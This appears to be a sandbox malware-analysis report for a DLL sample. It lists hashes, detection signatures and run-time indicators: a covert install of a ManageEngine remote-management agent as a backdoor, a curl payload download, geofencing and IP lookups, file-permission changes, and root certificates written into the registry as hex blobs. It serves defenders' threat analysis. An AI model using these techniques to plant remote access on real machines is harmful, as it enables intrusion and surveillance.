197af43efb572a40f05f3abd7ea3bba6cccd4f068b61f768921ad927ed6ab68f

Analysis

max time kernel
122s
max time network
157s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
19/09/2026, 12:51

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
197af43efb572a40f05f3abd7ea3bba6cccd4f068b61f768921ad927ed6ab68f.dll
Size 8.7MB
Sample260919-p3qv3afe76
SHA256 197af43efb572a40f05f3abd7ea3bba6cccd4f068b61f768921ad927ed6ab68f
MD5 3e481d8c397f64a32f539f2dd445c8fa
SHA1 213de44967e4485cf49a9fee1d8275dc87e2211e
SHA512 9c65fb56b7148c24ac72eaae8bfd9749340e98d309c144026e5f59bc002900b60536257f4dbbca4f235149e12af3f8c95fa2622ae8fe25758a63a99e93684cc4
SSDEEP 196608:EAIJd0vbTnGuFPRgNqG8MFH6HX+KctbVH404O7NADtV6v+uYE:UJd8WN6HOKc1a67cE
TLSH
T1E396F1223DDC0456D02A2230CE5DE2FCF16FEC603A2606573698FA1ABB71B415B5DB5B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

backdoor defense_evasion discovery execution rat spyware trojan

Malware Config

Signatures

Badlisted process makes network request 6 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
78	5124	msiexec.exe
81	5804	rundll32.exe
89	5804	rundll32.exe
108	5804	rundll32.exe
109	5804	rundll32.exe
111	5804	rundll32.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
50	5964	curl.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Control Panel\International\Geo\Nation	MicrosoftEdge_X64_152.0.7162.163.exe
Key value queried	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Control Panel\International\Geo\Nation	WScript.exe

DCAgent remote management tool 3 IoCs

DCAgent is part of ManageEngine, a remote administration tool that can be used as a backdoor

backdoor rat

resource	yara_rule
behavioral1/files/0x0008000000024579-38.dat	hacktool_dcagent
behavioral1/files/0x00070000000245d2-266.dat	hacktool_dcagent
behavioral1/files/0x0007000000024644-519.dat	hacktool_dcagent

Executes dropped EXE 8 IoCs

pid	Process
3676	MicrosoftEdge_X64_152.0.7162.163.exe
1796	dcagentregister.exe
2012	rundll32.exe
1176	7za.exe
2844	dcagentservice.exe
5564	7za.exe
4816	7za.exe
2260	dcstatusutil.exe

Loads dropped DLL 31 IoCs

pid	Process
744	MsiExec.exe
1796	dcagentregister.exe
1796	dcagentregister.exe
1796	dcagentregister.exe
1796	dcagentregister.exe
1796	dcagentregister.exe
1796	dcagentregister.exe
1796	dcagentregister.exe
5804	rundll32.exe
1796	dcagentregister.exe
1796	dcagentregister.exe
1796	dcagentregister.exe
1796	dcagentregister.exe
1796	dcagentregister.exe
1796	dcagentregister.exe
1796	dcagentregister.exe
1796	dcagentregister.exe
1796	dcagentregister.exe
1796	dcagentregister.exe
1796	dcagentregister.exe
1796	dcagentregister.exe
1796	dcagentregister.exe
1796	dcagentregister.exe
1796	dcagentregister.exe
1796	dcagentregister.exe
1796	dcagentregister.exe
1796	dcagentregister.exe
2844	dcagentservice.exe
1796	dcagentregister.exe
1796	dcagentregister.exe
2260	dcstatusutil.exe

Modifies file permissions 1 TTPs 5 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3048	icacls.exe
3832	icacls.exe
4064	icacls.exe
1300	icacls.exe
5320	icacls.exe

Enumerates connected drives 3 TTPs 45 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe

Looks up external IP address via web service 1 TTPs 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
107	api.ipify.org
108	api.ipify.org
110	ip-api.com

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
1608	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\dcagentlibxml2.dll	msiexec.exe
File opened for modification	C:\Windows\SysWOW64\rundll32.exe	rundll32.exe
File created	C:\Windows\SysWOW64\dclibxml2.dll	msiexec.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
220	WScript.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Find.png	msiexec.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\minimize_icon.svg	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\AgentQPPMUpgrader.exe	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\global_data_store_x64.dll	7za.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaap.exe	7za.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\resources\AgentApplicationResources_nl_NL.properties	7za.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-br.xml	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\partialApp.json	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\vault\ME_UEMS\storage\client.pem	dcagentregister.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemandtasks.dll	7za.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\sas.dll	7za.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\resources\AgentApplicationResources.properties.bak	7za.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\hs.dll	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\hot_mover_msghldr.gif	7za.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\DCProcessMonitor.exe	7za.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\BinaryInfo.json	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-pm.xml	msiexec.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcagentservice.log	dcagentservice.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ClientAuthHandler64.dll	7za.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMS_Agent_CommonUtilDll.dll	7za.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\messagebox_warning.png	msiexec.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ui-icons_444444_256x240.png	7za.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\checkvolume.exe	7za.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcaddonsevaluator.dll	7za.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\uemsnotifications.exe	7za.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-vul.xml	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\style_cold.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\Updates\Healer\UEMSAgent.mst	dcagentregister.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\secaddoncrashanalyser.exe	7za.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\uems_crypto_x64.dll	7za.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\vmdrUtils.dll	7za.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\file_system_watcher.exe	7za.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\resources\AgentApplicationResources.properties	7za.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Btn_request.svg	msiexec.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dctoolshardware.exe.config	7za.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcannouncement.exe	7za.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\selfservicedll.dll	7za.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\resources\AgentApplicationResources_ro_RO.properties	7za.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcrdsagentwindow.exe	7za.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\remind_hover.gif	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ui-icons_444444_256x240.png	7za.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusbsummary.exe	7za.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Drop_down.svg	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusb32.exe	7za.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\uemscom.dll	7za.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\approval_status.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\drop_down_icon.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Hot_Send.gif	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\restart.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\ImageFactor.json	dcagentregister.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ui-icons_cc0000_256x240.png	7za.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\configuration-settings-dc-win8.xml	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-framework.xml	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\resources\AgentApplicationResources_da_DK.properties	7za.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\scripts\Bit-locker.bat	msiexec.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dpinst86.exe	7za.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\topmiddle.bmp	7za.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcuploadlogs.exe	7za.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\resources\AgentApplicationResources_ja_JP.properties	7za.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-onpremise.xml	msiexec.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\cold_normal_msghldr.gif	7za.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcparsehandler.exe	7za.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcsecureboot.exe	7za.exe

Drops file in Windows directory 11 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\MSI2462.tmp	msiexec.exe
File created	C:\Windows\Installer\{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}\DCAgentServerInfo.json	dcagentregister.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\e5a1dea.mst	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI2E84.tmp	msiexec.exe
File created	C:\Windows\Installer\e5a1de9.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e5a1de9.msi	msiexec.exe
File created	C:\Windows\Installer\e5a1dea.mst	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 5 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3960	cmd.exe
3776	cmd.exe
880	cmd.exe
2548	cmd.exe
4788	cmd.exe

Modifies trusted root certificate store through registry 1 TTPs 8 IoCs

A root certificate was added, modified, or removed in the trusted certificate store registry paths.

defense_evasion

Install Root Certificate

T1553.004

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\0C537943D984E7A9A7ECAFE3D02597044883D2EB\Blob = 190000000100000010000000b37107d40c0f591b9b87de057e4f96860f0000000100000020000000678711780f573ee42d3474adf07920addf8d50d59a9ecbea435848af21b0acba0300000001000000140000000c537943d984e7a9a7ecafe3d02597044883d2eb140000000100000014000000d7d1d98416f9d66ab22d9742da05fba8ef81ae892000000001000000d8030000308203d4308202bca00302010202080f10cdb52ae0e8ce300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303930353135333833365a180f32303531303930353135333833365a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6b6bd673ae66456c66063e4fa63a75f3fad305a6c5eb727b9e8cd9807c18b66fa08efd4ac3aeb5d1c0fdb4e8b9755500e4d40eed1104e3d078227c145111b2bf339e0095c361d737fbf51d53c559cd15abf709c0c3e5e2135b97d7a87a96628936b07040e4b789094bd8f8e120846546b3af51e8229de738a3714cacfd91f722bf6371c0355805853972adcc6dcac5c9974e3e4a1ef205cc945be56e12f9acce189e8742831178707f03548bf038eb4a95dd3c3d0a6dc8fce70492c7e1ccdc3f88678ff5e741c88d95c2db6b96bd934b481adeb54f43fcb291b5c262138a951823c8ca180a6cdbbbfe9441c0303a8f28f4e04a86cb91006f0fa5a8613dfa32d0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414d7d1d98416f9d66ab22d9742da05fba8ef81ae89301f0603551d23041830168014d7d1d98416f9d66ab22d9742da05fba8ef81ae89300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100bc4f67a4eaa5765a83275811e63d89b733c205353adce2525b7c5c05d5d6c1d5faec0c09e62af60f656d297975ee3061bbda8cafdca297bb1a5974ee9a35dcde9adfa103dfdcaa91159d83165f5c02b9cd5071bfd85ec8d6f1eceb2ada13bd9dbc8778ead1c507c33089d5f5c95b5d63dd15f4b506f2c1a82b6c62560eab066bdb9b3e88db36a611f35ae700c46a43f0e4d18d0f12f2118ea0e7cfaade6723074f2542c56c108d184b836f98f928e89218c629d0b0f48d01653e06bdadc71c763c8c5e721df5f02653df6a9200a487b6086c6745ff930b4b5fd5a9c46303f2f22510eb79e806e518839a5d299c6949b070304971b66d0af368770d647cf9228c	dcagentregister.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\01D84E226B2A33CAF9D672212EDA98D138353872\Blob = 1900000001000000100000005d8515a09ed46b45148184a4f0821b5f0f000000010000002000000018b1339874f148fc29bb5b044d2a659cf188b34d00819a9f2e3c1f3257e01e3e03000000010000001400000001d84e226b2a33caf9d672212eda98d138353872140000000100000014000000f2bd842a31cc4b6e2bc3a5de31b4e44b8450b9442000000001000000f0030000308203ec308202d4a003020102020830f9ca65fc2e9638300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303930353135333833365a180f32303531303930353135333833365a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100aef8672f556790cdebb255f807eccab76a04bc1c143d5b09c5b3fdc18d82f1a4de51121bfdc59228d867c708c725809e818b645da4f2ccb4a64201387f1f9f1da4aecb0e5f4e91ea23ae9be44cc8a502f600b849ab122d1e38127a606633d7fe5f0e373f6516d4363278ffd080c90ffa2174efc8e592470c9ea4dd888868b919731a75b46a64ef04df7ab22628217fc94b4aeed1b3aa85b1eff2bfd10e7eb26a0a1f1018f0cf6495997d93a35d4a84d93fb09ab94a2b3d6f1f0c53e18ec3a6546c6fd31d9f96a7a15ee7b533f99e3398d6111372bf1456dfe5dff2d9a69d94667d15f9cb163486ef1c6e747ff9a4b7e4c6f4b4870a62a0f888a2bcd2898067930203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414f2bd842a31cc4b6e2bc3a5de31b4e44b8450b944301f0603551d23041830168014f2bd842a31cc4b6e2bc3a5de31b4e44b8450b944300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100a80af55364a09362062bfa8e0df04bcb52530fa02a506b049983c3718cf0cc2f6c6dc702ebdd708e5ec9c46308a8b30475baca1c12241f1736efbf0f8eb268067a83f547054f9bf2425397f773e438e004ea103a8f5c750099308aec7eedc260842f75c0fc5c7db4d77783e2b855a4d11137066131ddf2cc9860a7bf3372642819f3fafa35de58206882eb76f067f9eac61022bf9a969bca97a95591cedf98662fef99825328dd53f5fe328ce5c92e52dcec5b523986f8d44b7e99c2d7aac25638dc45bda776baede57717891a751e2ad2ff9802ee34edf8bb05b919463636b8872e924cd536c5ce77f1a87d48e5e2d1db9ea003350fdb0b944ac5d5afc87fa5	dcagentregister.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\0C537943D984E7A9A7ECAFE3D02597044883D2EB\Blob = 0300000001000000140000000c537943d984e7a9a7ecafe3d02597044883d2eb2000000001000000d8030000308203d4308202bca00302010202080f10cdb52ae0e8ce300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303930353135333833365a180f32303531303930353135333833365a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6b6bd673ae66456c66063e4fa63a75f3fad305a6c5eb727b9e8cd9807c18b66fa08efd4ac3aeb5d1c0fdb4e8b9755500e4d40eed1104e3d078227c145111b2bf339e0095c361d737fbf51d53c559cd15abf709c0c3e5e2135b97d7a87a96628936b07040e4b789094bd8f8e120846546b3af51e8229de738a3714cacfd91f722bf6371c0355805853972adcc6dcac5c9974e3e4a1ef205cc945be56e12f9acce189e8742831178707f03548bf038eb4a95dd3c3d0a6dc8fce70492c7e1ccdc3f88678ff5e741c88d95c2db6b96bd934b481adeb54f43fcb291b5c262138a951823c8ca180a6cdbbbfe9441c0303a8f28f4e04a86cb91006f0fa5a8613dfa32d0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414d7d1d98416f9d66ab22d9742da05fba8ef81ae89301f0603551d23041830168014d7d1d98416f9d66ab22d9742da05fba8ef81ae89300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100bc4f67a4eaa5765a83275811e63d89b733c205353adce2525b7c5c05d5d6c1d5faec0c09e62af60f656d297975ee3061bbda8cafdca297bb1a5974ee9a35dcde9adfa103dfdcaa91159d83165f5c02b9cd5071bfd85ec8d6f1eceb2ada13bd9dbc8778ead1c507c33089d5f5c95b5d63dd15f4b506f2c1a82b6c62560eab066bdb9b3e88db36a611f35ae700c46a43f0e4d18d0f12f2118ea0e7cfaade6723074f2542c56c108d184b836f98f928e89218c629d0b0f48d01653e06bdadc71c763c8c5e721df5f02653df6a9200a487b6086c6745ff930b4b5fd5a9c46303f2f22510eb79e806e518839a5d299c6949b070304971b66d0af368770d647cf9228c	dcagentregister.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\01D84E226B2A33CAF9D672212EDA98D138353872\Blob = 03000000010000001400000001d84e226b2a33caf9d672212eda98d1383538722000000001000000f0030000308203ec308202d4a003020102020830f9ca65fc2e9638300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303930353135333833365a180f32303531303930353135333833365a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100aef8672f556790cdebb255f807eccab76a04bc1c143d5b09c5b3fdc18d82f1a4de51121bfdc59228d867c708c725809e818b645da4f2ccb4a64201387f1f9f1da4aecb0e5f4e91ea23ae9be44cc8a502f600b849ab122d1e38127a606633d7fe5f0e373f6516d4363278ffd080c90ffa2174efc8e592470c9ea4dd888868b919731a75b46a64ef04df7ab22628217fc94b4aeed1b3aa85b1eff2bfd10e7eb26a0a1f1018f0cf6495997d93a35d4a84d93fb09ab94a2b3d6f1f0c53e18ec3a6546c6fd31d9f96a7a15ee7b533f99e3398d6111372bf1456dfe5dff2d9a69d94667d15f9cb163486ef1c6e747ff9a4b7e4c6f4b4870a62a0f888a2bcd2898067930203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414f2bd842a31cc4b6e2bc3a5de31b4e44b8450b944301f0603551d23041830168014f2bd842a31cc4b6e2bc3a5de31b4e44b8450b944300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100a80af55364a09362062bfa8e0df04bcb52530fa02a506b049983c3718cf0cc2f6c6dc702ebdd708e5ec9c46308a8b30475baca1c12241f1736efbf0f8eb268067a83f547054f9bf2425397f773e438e004ea103a8f5c750099308aec7eedc260842f75c0fc5c7db4d77783e2b855a4d11137066131ddf2cc9860a7bf3372642819f3fafa35de58206882eb76f067f9eac61022bf9a969bca97a95591cedf98662fef99825328dd53f5fe328ce5c92e52dcec5b523986f8d44b7e99c2d7aac25638dc45bda776baede57717891a751e2ad2ff9802ee34edf8bb05b919463636b8872e924cd536c5ce77f1a87d48e5e2d1db9ea003350fdb0b944ac5d5afc87fa5	dcagentregister.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\0C537943D984E7A9A7ECAFE3D02597044883D2EB\Blob = 0f0000000100000020000000678711780f573ee42d3474adf07920addf8d50d59a9ecbea435848af21b0acba0300000001000000140000000c537943d984e7a9a7ecafe3d02597044883d2eb2000000001000000d8030000308203d4308202bca00302010202080f10cdb52ae0e8ce300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303930353135333833365a180f32303531303930353135333833365a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6b6bd673ae66456c66063e4fa63a75f3fad305a6c5eb727b9e8cd9807c18b66fa08efd4ac3aeb5d1c0fdb4e8b9755500e4d40eed1104e3d078227c145111b2bf339e0095c361d737fbf51d53c559cd15abf709c0c3e5e2135b97d7a87a96628936b07040e4b789094bd8f8e120846546b3af51e8229de738a3714cacfd91f722bf6371c0355805853972adcc6dcac5c9974e3e4a1ef205cc945be56e12f9acce189e8742831178707f03548bf038eb4a95dd3c3d0a6dc8fce70492c7e1ccdc3f88678ff5e741c88d95c2db6b96bd934b481adeb54f43fcb291b5c262138a951823c8ca180a6cdbbbfe9441c0303a8f28f4e04a86cb91006f0fa5a8613dfa32d0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414d7d1d98416f9d66ab22d9742da05fba8ef81ae89301f0603551d23041830168014d7d1d98416f9d66ab22d9742da05fba8ef81ae89300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100bc4f67a4eaa5765a83275811e63d89b733c205353adce2525b7c5c05d5d6c1d5faec0c09e62af60f656d297975ee3061bbda8cafdca297bb1a5974ee9a35dcde9adfa103dfdcaa91159d83165f5c02b9cd5071bfd85ec8d6f1eceb2ada13bd9dbc8778ead1c507c33089d5f5c95b5d63dd15f4b506f2c1a82b6c62560eab066bdb9b3e88db36a611f35ae700c46a43f0e4d18d0f12f2118ea0e7cfaade6723074f2542c56c108d184b836f98f928e89218c629d0b0f48d01653e06bdadc71c763c8c5e721df5f02653df6a9200a487b6086c6745ff930b4b5fd5a9c46303f2f22510eb79e806e518839a5d299c6949b070304971b66d0af368770d647cf9228c	dcagentregister.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\01D84E226B2A33CAF9D672212EDA98D138353872\Blob = 0f000000010000002000000018b1339874f148fc29bb5b044d2a659cf188b34d00819a9f2e3c1f3257e01e3e03000000010000001400000001d84e226b2a33caf9d672212eda98d1383538722000000001000000f0030000308203ec308202d4a003020102020830f9ca65fc2e9638300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303930353135333833365a180f32303531303930353135333833365a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100aef8672f556790cdebb255f807eccab76a04bc1c143d5b09c5b3fdc18d82f1a4de51121bfdc59228d867c708c725809e818b645da4f2ccb4a64201387f1f9f1da4aecb0e5f4e91ea23ae9be44cc8a502f600b849ab122d1e38127a606633d7fe5f0e373f6516d4363278ffd080c90ffa2174efc8e592470c9ea4dd888868b919731a75b46a64ef04df7ab22628217fc94b4aeed1b3aa85b1eff2bfd10e7eb26a0a1f1018f0cf6495997d93a35d4a84d93fb09ab94a2b3d6f1f0c53e18ec3a6546c6fd31d9f96a7a15ee7b533f99e3398d6111372bf1456dfe5